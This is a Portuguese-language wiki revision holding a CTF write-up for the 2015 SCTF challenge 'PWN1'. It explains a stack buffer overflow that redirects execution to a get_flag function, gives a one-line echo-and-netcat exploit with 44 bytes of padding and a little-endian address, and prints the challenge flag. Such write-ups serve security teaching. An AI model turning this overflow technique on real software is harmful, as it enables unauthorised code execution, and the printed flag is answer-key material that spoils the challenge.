e40 – PWN1

Home / Wiki / e40 – PWN1

e40 – PWN1

Revision for “e40 – PWN1” created on 12 de dezembro de 2015 às 22:48:44

Título
e40 - PWN1
Conteúdo
<blockquote> <p id="pergunta" style="text-align: justify">First pwnable, this should be nice and easy. nc pwn.problem.sctf.io 1337 Hint: Read up on <a href="https://en.wikipedia.org/wiki/Buffer_overflow">Buffer Overflows</a>.</p> </blockquote> &nbsp; <h2>Solução</h2> O problema é um buffer overflow realizando um disassemble no arquivo pwn1 nós vemos que o endereço de memória da função get_flag é: 0x80484ad. <p class="p1"><a href="https://ctf-br.org/wp-content/uploads/2015/12/Screen-Shot-2015-12-12-at-7.31.22-PM.png" rel="attachment wp-att-1829"><img class="alignnone size-full wp-image-1829" src="https://ctf-br.org/wp-content/uploads/2015/12/Screen-Shot-2015-12-12-at-7.31.22-PM.png" alt="Screen Shot 2015-12-12 at 7.31.22 PM" width="732" height="490" /></a></p> <p class="p1">Para chamar a função, precisamos sobrescrever o endereço de retorno da função main com a nossa entrada. Com algumas tentativas e erros vemos que o programa quebra com 44 caracteres.</p> <p class="p1">O disassembly mostra que há alguns bytes de informações entre a nossa função e o endereço de retorno.</p> <p class="p1">Precisamos expressar 0x80484ad em notação Endian Little, com os bytes menos significativos em primeiro lugar. <a href="https://en.wikipedia.org/wiki/Endianness">https://en.wikipedia.org/wiki/Endianness</a></p> <p class="p3"><span class="s1">echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xAD\x84\x04\x08' | nc pwn.problem.sctf.io 1337</span></p> <h3>Flag</h3> <code>flag{that_was_so_easy_i_wont_leetify_this_flag}</code> <h3>Criado por</h3> RTFM
Resumo


OldNewDate CreatedAuthorActions
12 de dezembro de 2015 às 22:48:44 RTFM
12 de dezembro de 2015 às 22:47:32 [Salvamento automático] RTFM
12 de dezembro de 2015 às 22:45:08 RTFM
12 de dezembro de 2015 às 22:44:10 RTFM
Recent Posts